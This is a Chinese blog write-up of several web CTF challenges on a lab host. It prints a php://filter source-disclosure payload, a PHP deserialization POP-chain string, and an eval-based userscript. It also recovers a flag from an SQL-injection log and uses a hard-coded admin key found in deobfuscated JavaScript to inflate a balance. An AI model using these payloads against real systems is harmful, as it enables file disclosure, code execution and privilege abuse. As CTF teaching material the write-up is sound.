本文从旧博客迁移而来。
文章中所有图片均引自原路径(GitHub
仓库),因此可能出现加载速度较慢的问题。
以下为原文内容。
随手记录一下(
ToC
5呢
简单的正则
通过构造符合题意的正则表达式即可得到 flag。
http://10.60.38.227:34003/?s=the%20flag12/d/31
你会那样读文件吗
进入后链接提示我们跳转到 hint.php
,之后在源码中找到提示:
然后通过 php 伪协议获得 flag.php 的 base64,再通过解码就能拿到 flag了:
php://filter/read=convert.base64-encode/resource=flag.php
快速计算
标题虽然说是 Python 计算,但其实并用不到 Python(
通过观察我们知道我们需要计算的内容是第二个 div
里的算式去掉 =?
的部分,于是简单写一个油猴脚本:
1// ==UserScript==2// @name New Userscript3// @namespace http://tampermonkey.net/4// @version 0.15// @description try to take over the world!6// @author You7// @match http://10.60.38.227:34005/8// @grant none9// ==/UserScript==10
11(function () {12 const t = document.querySelectorAll("div")[1].textContent;13 const ev = t.substr(0, t.length - 2);14 const result = eval(ev);15 document.querySelector("input[type=text]").value = result;16 document.querySelector("input[type=Submit]").click();17})();
加载后刷新页面即可:
哪个才是 flag
找不同,在源码中找到真正的 flag:
Serialize & Unserialize
首先先根据题目要求构造字符串:
1<?php2$KEY="Spirit";3echo serialize($KEY);
得到第一步答案:s:6:"Spirit";
,根据提示跳转到 info.php
:
1<?php2@error_reporting(0);3class Start4{5 public $a;6 public $b;7 public function __destruct()8 {9 $this->a->test1();10 }11}12class Func113{14 public $a;15 public $b;16 public function __call($test, $arr)17 {18 $this->b="字符串".$this->a;19 }20}21class Func222{23 public $a;24 public $b;25 public function __toString()26 {27 $s=$this->a;28 $s();29 return "1";30 }31}32class Func333{34 public $a;35 public $b;36 public function __invoke()37 {38 $this->a->get_flag();39 }40}41class Flag42{43 public function get_flag()44 {45 echo "flag{****************}";46 }47}48$a=isset($_GET['go'])?$_GET['go']:"";49$b=@unserialize($a);50if ($a&&!$b) {51 echo "unserilize('".$a ."') 失败";52}
根据观察,可以发现类从上到下类似链式调用,于是补充代码如下:
得到输出结果:
1O:5:"Start":2:{s:1:"a";O:5:"Func1":2:{s:1:"a";O:5:"Func2":2:{s:1:"a";O:5:"Func3":2:{s:1:"a";O:4:"Flag":0:{}s:1:"b";N;}s:1:"b";N;}s:1:"b";N;}s:1:"b";N;}flag{**}
log
首先观察 access.log
文件本身,我们可以发现其中充斥这很多 URI 编码后的字符串。我们先将其过一遍 decodeURIComponent
,再去除一些无用的内容,诸如 UserAgent
。
再观察,可以发现这是一次 SQL 注入的攻击日志,攻击者通过各位比较确认了 flag。于是我们可以利用攻击者确认 flag 的日志获得 flag。搜索 !=
:
可以看到,这些数字已经是我们想要的 f
,l
,a
了。最后将其拼接起来即可:
可靠的WebApp
通过观察可以发现核心在于 main.min.js
:
打开文件,发现文件经过了混淆。我们使用 JSNice
简单对内容进行反混淆:
再对所有用到 _0x76ef
的项进行整理,最后得到相对反混淆后的结果。在这个过程中,我们观察到这个对象:
1this.APIModels = {2 authorize: {3 model: "authorize",4 },5 userInfo: {6 model: "userInfo",7 },8 buyFlag: {9 model: "buyFlag",10 },11 adminAddCoin: {12 model: "adminAddCoin",13 key: "Admin123321.",14 count: 0,15 },16};
通过这个对象,我们构建出增加余额的函数(上文对象中 count
需要改大):
1this.adminAddCoin = function () {2 this.call(3 "adminAddCoin",4 this.APIModels.adminAddCoin,5 function (canCreateDiscussions) {6 console.log(canCreateDiscussions);7 }8 );9};
最后,用我们修改完的 main
函数在 Console
中替换原有的 console
即可:
最后修改后的 main.min.js
如下:
1"use strict";2
3function main(key) {4 function GUIPARAMS() {5 let _this = this;6 this.token = null;7
8 this.onerror = function () {9 alert("Error on request.");10 };11
12 this.toCharArr = function (str) {13 str = str.split("");14 let arr = new Uint8Array(str.length);15 str.forEach(function (canCreateDiscussions, wikiId) {16 arr[wikiId] = canCreateDiscussions.charCodeAt(0);17 });18 return arr;19 };20
21 this.fromCharArr = function (canCreateDiscussions) {22 let plan_count = "";23 canCreateDiscussions.forEach(function (year_data) {24 plan_count = plan_count + String.fromCharCode(year_data);25 });26 return plan_count;27 };28
29 this.pkcs7Pad = function (msg) {30 let val = 16 - (msg.length % 16);31 let log = new Uint8Array(msg.length + val);32 log.set(msg, 0);33 log.fill(val, msg.length, msg.length + val);34 return log;35 };36
37 this.pkcs7UnPad = function (range) {38 let start = range[range.length - 1];39 if (start > 16) {40 return null;41 }42 return range.subarray(0, range.length - start);43 };44
45 this.ui8concat = function (sumX, data) {46 let command_codes = new Uint8Array(sumX.length + data.length);47 command_codes.set(sumX, 0);48 command_codes.set(data, sumX.length);49 return command_codes;50 };51
52 this.APIModels = {53 authorize: {54 model: "authorize",55 },56 userInfo: {57 model: "userInfo",58 },59 buyFlag: {60 model: "buyFlag",61 },62 adminAddCoin: {63 model: "adminAddCoin",64 key: "Admin123321.",65 count: 114514,66 },67 };68
69 this.call = function (path, model, savetoBd) {70 this.iv = this.toCharArr(71 CryptoJS.MD5(Math.random().toString(36).substr(2))72 .toString()73 .substr(0, 16)74 );75 let _0xe48ex10 = new aesjs.ModeOfOperation.cbc(this.key, this.iv);76 let value = this.ui8concat(77 this.iv,78 _0xe48ex10.encrypt(this.pkcs7Pad(this.toCharArr(JSON.stringify(model))))79 );80 let param = new XMLHttpRequest();81
82 param.timeout = 3000;83 param.open("POST", "/api/" + path, true);84 param.setRequestHeader("Content-type", "application/octet-stream");85 if (this.token) {86 param.setRequestHeader("X-Token", this.token);87 param.setRequestHeader(88 "X-Message-Code",89 CryptoJS.HmacSHA1(this.token, JSON.stringify(model))90 );91 }92
93 param.onload = function (canCreateDiscussions) {94 if (this.status === 200) {95 let data = JSON.parse(this.responseText);96 if (data.status === 0) {97 let rua = new aesjs.ModeOfOperation.cbc(_this.key, _this.iv);98 data.payload = JSON.parse(99 _this.fromCharArr(100 _this.pkcs7UnPad(101 rua.decrypt(_this.toCharArr(window.atob(data.payload)))102 )103 )104 );105 savetoBd(data);106 return;107 }108 }109 _this.onerror();110 };111 param.ontimeout = this.onerror;112 param.onerror = this.onerror;113 param.send(value);114 };115
116 this.getUserInfo = function () {117 this.call(118 "userInfo",119 this.APIModels.userInfo,120 function (canCreateDiscussions) {121 console.log(canCreateDiscussions);122 document.getElementById("output").innerText =123 "You have " +124 canCreateDiscussions.payload.coin +125 " coins in your account.";126 }127 );128 };129
130 this.buyFlag = function () {131 this.call(132 "buyFlag",133 this.APIModels.buyFlag,134 function (canCreateDiscussions) {135 console.log(canCreateDiscussions);136 let output = document.getElementById("output");137 if (canCreateDiscussions.payload.success) {138 output.innerText = canCreateDiscussions.payload.flag;139 } else {140 output.innerText = canCreateDiscussions.payload.reason;141 }142 }143 );144 };145
146 this.authorize = function () {147 if (key) {148 this.key = this.toCharArr(key);149 } else {150 return;151 }152 this.call(153 "authorize",154 this.APIModels.authorize,155 function (canCreateDiscussions) {156 console.log(canCreateDiscussions);157 _this.token = canCreateDiscussions.payload.token;158 let packByNumType = document.getElementById("buttons");159 packByNumType.innerHTML = "";160 let data = document.createElement("button");161 data.innerHTML = "User Info";162 data.addEventListener("click", function () {163 _this.getUserInfo();164 });165 packByNumType.append(data);166 let pivot = document.createElement("button");167 pivot.innerHTML = "Buy Flag";168 pivot.addEventListener("click", function () {169 _this.buyFlag();170 });171 packByNumType.append(pivot);172 }173 );174 };175
176 this.adminAddCoin = function () {177 this.call(178 "adminAddCoin",179 this.APIModels.adminAddCoin,180 function (canCreateDiscussions) {181 console.log(canCreateDiscussions);182 }183 );184 };185 }186 let instance = new GUIPARAMS();187 instance.authorize();188 window.instance = instance;189}